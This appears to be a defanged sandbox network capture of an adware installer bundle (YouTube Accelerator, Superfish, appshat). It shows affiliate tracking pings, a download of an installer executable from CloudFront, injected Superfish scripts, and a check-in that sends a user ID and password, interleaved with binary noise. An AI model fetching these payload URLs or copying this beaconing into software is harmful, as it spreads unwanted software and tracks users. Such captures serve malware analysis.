d......5.....;.....Mp...Q........xX.i.'66u?p]....e".....G....f|..rc#..
 ..G.a..}.x&.[n,....z.D.l.....q(...LlF.Z.q|.y...P..UG..=uz=...1....l. 
.HG.....awM.k....l.xD7..j..............n.W...P....e..X.k.4.V.......pE.
...me..Jw;....`N....s......'..=.yV.. .....n....z.'.1W.6l...1|E..3.7...
.?.]F.{ ..my..F.....8...Zm....X."y...H.C.....N...D..=#D....4......?/!.
\.Wr....?..U..._%.X..2....g0.l..{..............H..Th..R..l]..8%.......
....s9..n.......F(^$E.r...I.c.z...3..Q..u..4H..cm.......vM.....a...M..
.6Y...3{......wa..d....k.....]...lC...vOa..9........77.....e.L.x...b..
W..a.t.R;...#....o.4...f..%.8..PD{..u......y.......m..L...=......Er...
s<.w..|/ah.).l9tA.........f..<:..3.H8...F..!X.......,.{P.".... .
.W..h&.T.1..n...'./r..<\.T..%.7......G.v..._....\;..TR.a.{%~-0..U..
.f....u..<.tM..q:v..X.R..o..........X.G..3A.....G.pp....$N......Z..
..^.(..TeG......./..P....}n.......<[email protected] ...Z.....U.)..k.
....g...E.& .....A....AA.'.....HG<.....M..wmt...T...[&.2.HK.*.....6
..k..........#.._;.Z....h6wn;.2.....7.fP.@.. .l-....JB".<$..d..Ol.b
.. I3...[..(X.E...U.c...h..'...H...`.E..A....t.2..m. ;U.C..<l..<<< skipped >>>

GET /pagead/conversion/971163981/?random=1423540823357&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 302 Found

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Date: Tue, 10 Feb 2015 04:00:22 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0

Content-Type: image/gif

X-Content-Type-Options: nosniff

Server: cafe

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV P
SA PSD IVA IVD OTP OUR OTR IND OTC"..Date: Tue, 10 Feb 2015 04:00:22 G
MT..Pragma: no-cache..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Co
ntrol: no-cache, must-revalidate..Location: hXXp://googleads.g.doublec
lick.net/pagead/viewthroughconversion/971163981/?random=722253959&cv=7
&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=
en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=12
0&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccele
rator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0%2
Ce5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NON
E&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected%
3D1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CA
IVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0..Content-Type: im
age/gif..X-Content-Type-Options: nosniff..Server: cafe..Content-Length
: 42..X-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:quic,p=0
.02..GIF89a.............!.......,...........D.;..<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=4&index_in_screen=1&index_in_session=4&0.833791825113266 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:02 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:02 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=765184&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:33 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....

GET /ws/js/base_single_icon.js?ver=2015.2.9.16.26 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:27 GMT

Content-Type: application/x-javascript

Last-Modified: Mon, 09 Feb 2015 12:56:19 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Fri, 06 Mar 2015 04:00:27 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
7d52..............m{.7..... .....$..3yq,..Nr.9q......^].....H.MY.8...}
W....M..w.~x.;.....B.P.....xU.g........dPW..t.\,.........>.v:.....]
.....`U....Yq<......N..j<.._.....r.w._.n~k]...j.z.(...l.......k.
W.....U5.Kyi...O....7.... .c1-wcg..O.uY.XpvZ,.u].O.b5..........e.X..-.
..\.F.b.~<.NG,.Ze.7Vg..e1 /......r....F.]\..V...Z.e....,.........bl
...n.\......=\......r.6.Z=..........y9[.[............z........$..F..w.
.H............ru.....p.XL......^.fc.......p..u*~....8..[:.!Pb<Z..3.
........h....6.....D&...".........d%4/...L....o~<1..........0Y..^..
|Y.........rkc.x.&1-g....P.^...67.."8 yX.,.....W.T.$...l,.K3..]...)...
...t.*.=.p.......!.F../...k-.t....[..8..>...[._.....|....`......y..
...iu.EX/....|\.......d<-G3l.......7..._./.^~.`{..o/...X..b........
[email protected]..]...U...#..:yQoJ..q.......h..5...
.Is....}./v.../.O..........j^........-....{.Q2.L....N..P...6.....8..2Q
.. ....H.../G.3..=:p.....j.?.j...`..N....h5>.*[email protected]
T....W..;~.D.J.T. ........$..X.f......U.F.Z...X..j....;$A.z...*.=IW.@.
/.....w...=}.*.V{......~..._........?...R..w.....[[.t..A.{S...Vx.Z.U..
....];..@...=.....;.{..z.....A..z.....Lp.......~wd.]x..=8=......6..t..
%(.j..6.....d..y.It..ZX.7.}..@......{/v..;.}k.....v.l.i5...<".v=.o!
m..........;.vV...a....8......G.......`.Q.E ..-..j..~[5u..xL.9Q..U5.V.
*.6..rt..h5............... ....[.....3...^....VO7)..Z....Z........8...
.`z.'.........1V.....{G&D....%..x?..N...8.*0.)....%...G..L.. ...R`E.r.
..M....{x6.....$_...........8.J..C.y)..q..EA.5\.`J.. l...KL&....K.<<< skipped >>>

GET /ws/products/main.js?v=2015.2.9.16.26&partnername=pelmmbomol HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:28 GMT

Content-Type: application/x-javascript

Last-Modified: Mon, 09 Feb 2015 12:56:20 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Fri, 06 Mar 2015 04:00:28 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
3a8d.............}k..F....s.?..>..%..z..-.......XK..Y.... .....X...
..{#"...UR..........gd.#2Qg.,..eU&....?...I=........o{.....z.\.U3^.?..
.h.|T.......Z.*..n\..}.dE.dQ..N.{.(.S..iu.VO.MZ}[E....X.9.,P.......}..
.{}...g."..v..(.......:...."m.eu.,....t...7./...u.F.q..?....7....W..&.
..t.Gq:......?.....Yvc..../[email protected]....;A.7-WE.,.
.5.P....]...7,.;......4/...v.6....,.....`......z.)<........QR..Q4B.
.....KA..iZ4e.|... ..:^..T..x.rk..."....M.4Mj....~...I .)...yy....X.Fg
i.......Wx(0R.\=K..$...|[email protected] ....GM]N#.Ra.k
....4-.EY6...r.q.....,..L.,.,A.....u6..-.W)....s4O....f.,.....}.#.w...
.....4.."NG...............$...) 7..?....s.F.>7..j.Kv<.e..i.)%y;.
,.....e....P.<O3..r&.]..../..<M....(..5. Z5}U6Y.).a~....v... ..b
Snu9..........d.&.g.|...OWU...(4..t..D..c.b...^...n.....@..<......D
.N.....!...3L..fi..Y<.f .. .R...80.K.eY.W...'#.,6..r.....K.s=..O...
*..y6M.Y3g..........}. g...v..H_5....Ey....d]cY&....V.....l.....Y..im.
....[7.j..eZM......8..:....Y...&#p.......%g.H.,..0.F..r2l...E.....5...
...T....&_.f...m.0$x..R.s...K..M.........Yc...c..`N...."..O..XI..W.<
;..*..4..=.M).Zm.z../.o...B...;.*..qs...xYE1.0-R.j..e..r......|..Y....
.t..B].....*.^.$..(... '.x9.0.!\..k...)..3pP.Y0e..w.*_...Q.jR,.....e.M
...._..)zE/.^..<..k.....<&..Q.Y...:...&...j.o.X/..s... ..7@u.#.t
.ij/shp.P{..N....wOW9 .k.......,3.c^..`;......<.-a..BVZ..........Lv
.v.-.....q...o 61w`.#/"......M-.(.b.......:.;.! .Y...........S...<]
.ya.R-xI.(...).)S.....j.F.z[<....aQt4$.>..!nn.4.u.dY....><<< skipped >>>

GET /r/collect?v=1&_v=j32&a=365954666&t=pageview&_s=1&dl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1716x804&je=1&_u=MEAAAAQAI~&jid=2102596164&cid=1024568755.1423540823&tid=UA-40752970-2&_r=1&z=473279495 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Tue, 10 Feb 2015 04:00:22 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Tue, 10 Feb 2015 04:00:22 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.._..S...a..0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Tue, 10 Feb 2015 03:59:35 GMT

Expires: Sat, 14 Feb 2015 03:59:35 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
0..........0..... .....0......0...0......J......h.v....b..Z./..2015021
0010630Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
._..S...a....20150210010630Z....20150217010630Z0...*.H..............F.
...pa{.o.$..1I.6;........pvC....J.X...0.0.....O.R;.N=p.o@..@;.....K...
.u...}Vr...z.u_...wc.... .&..~jaQ.{...?..j..Vy....v..FC..6G....dR....%
 ..#t.....N.?..tZ.....1......kU........i!9..i...A..?.`w*..X}.7.....P}5
S*...9.K.....CuMJ.o.>..m...i....,.P..2..d..HTTP/1.1 200 OK..Content
-Type: application/ocsp-response..Date: Tue, 10 Feb 2015 03:59:35 GMT.
.Expires: Sat, 14 Feb 2015 03:59:35 GMT..Cache-Control: public, max-ag
e=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protectio
n: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:
quic,p=0.02..0..........0..... .....0......0...0......J......h.v....b.
.Z./..20150210010630Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h
.v....b..Z./.._..S...a....20150210010630Z....20150217010630Z0...*.H...
...........F....pa{.o.$..1I.6;........pvC....J.X...0.0.....O.R;.N=p.o@
..@;.....K....u...}Vr...z.u_...wc.... .&..~jaQ.{...?..j..Vy....v..FC..
6G....dR....% ..#t.....N.?..tZ.....1......kU........i!9..i...A..?.`w*.
.X}.7.....P}5S*...9.K.....CuMJ.o.>..m...i....,.P..2..d......
<<< skipped >>>

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./....mP

-...0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Tue, 10 Feb 2015 03:59:36 GMT

Expires: Sat, 14 Feb 2015 03:59:36 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.02
0..........0..... .....0......0...0......J......h.v....b..Z./..2015021
0010045Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
...mP..-.....20150210010045Z....20150217010045Z0...*.H..............p3
...[3...W..[....i-[..b.<...!..#..Y...... .w=.1.t.<A=.}..y...3V!.
#..G._.V.#.z...y^*E..`...M..pG.!.I..D*.w.Y.r.H.i2.],...z'...y)r.9.X.3.
...........F..hI'..?F'Q.j|................|..v(...lAr.*...L.........?.
$.....l}1...S.... .x ..2.I..X.xf.A.<...-..\......HTTP/1.1 200 OK..C
ontent-Type: application/ocsp-response..Date: Tue, 10 Feb 2015 03:59:3
6 GMT..Expires: Sat, 14 Feb 2015 03:59:36 GMT..Cache-Control: public, 
max-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Pro
tection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protoco
l: 80:quic,p=0.02..0..........0..... .....0......0...0......J......h.v
....b..Z./..20150210010045Z0k0i0A0... ..........j.....p.I.#z...(~d..J.
.....h.v....b..Z./....mP..-.....20150210010045Z....20150217010045Z0...
*.H..............p3...[3...W..[....i-[..b.<...!..#..Y...... .w=.1.t
.<A=.}..y...3V!.#..G._.V.#.z...y^*E..`...M..pG.!.I..D*.w.Y.r.H.i2.]
,...z'...y)r.9.X.3............F..hI'..?F'Q.j|................|..v(...l
Ar.*...L.........?.$.....l}1...S.... .x ..2.I..X.xf.A.<...-..\.....
...<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71390-

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 214168

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71390-285557/285558

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _ANt3j2_HoHc78WoFxXYpaCx2mwjCUQ-ayDnDiVZ5n5wZLXjCNgTzw==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x<<< skipped >>>

GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=e5482312-2be3-46f2-b003-7761c59feba2&Password=oP5QhnYw&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540766&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=bxiizz55zjgy0qyekng0vi55


HTTP/1.1 302 Found

Connection: close

Date: Tue, 10 Feb 2015 03:59:25 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=e5482312-2be3-46f2-b003-7761c59feba2&Password=oP5QhnYw&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540766&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1268
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=e5482312-2be3-46f2-b003-7761c59feba2&Password=oP5QhnYw&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8c
cfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1423540766&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=e5482312-2be3-46f2-b003-7761c59feba2&Password=oP5QhnYw&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa
-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1423540766&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGQZyQmL5DwxHRo8R5yFk4y5MH1KTQ==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....<<< skipped >>>

GET /install.gif?bundle=mystartsearch&ptid=smt&uid=535559167_198339_B48A115F HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: log.very911.com


HTTP/1.1 404 Not Found

Server: Tengine/1.2.2

Date: Tue, 10 Feb 2015 03:59:34 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 671

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
log.very911.com:8080/install.gif?bundle=mystartsearch&ptid=smt&
;uid=535559167_198339_B48A115F</td>..</tr>..<tr>..&l
t;td>Server:</td>..<td>us-pub00.v9.com</td>..<
/tr>..<tr>..<td>Date:</td>..<td>2015/02/09 
21:59:34</td>..</tr>..</table>..<hr/>Powered b
y Tengine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found.
.Server: Tengine/1.2.2..Date: Tue, 10 Feb 2015 03:59:34 GMT..Content-T
ype: text/html; charset=utf-8..Content-Length: 671..Connection: keep-a
live..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<ht
ml>..<head><title>404 Not Found</title></head&
gt;..<body bgcolor="white">..<h1>404 Not Found</h1>.
.<p>The requested URL was not found on this server. Sorry for th
e inconvenience.<br/>..Please report this message and include th
e following information to us.<br/>..Thank you very much!</p&
gt;..<table>..<tr>..<td>URL:</td>..<td&<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.thawte.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1503

content-transfer-encoding: binary

Cache-Control: max-age=594080, public, no-transform, must-revalidate

Last-Modified: Tue, 10 Feb 2015 00:59:32 GMT

Expires: Tue, 17 Feb 2015 00:59:32 GMT

Date: Tue, 10 Feb 2015 04:02:36 GMT

Connection: keep-alive
0..........0..... .....0......0...0......&Km...."....}....,.c..2015021
0005932Z0s0q0I0... ........0..k....&..p..^.X.....{[E....z.1..j..F.WHP.
.G.Mxs..../.p./.^....20150210005932Z....20150217005932Z0...*.H........
........U..^[email protected]/:S.Ih......4...B....(.Rw3%...*.......u.....)...).
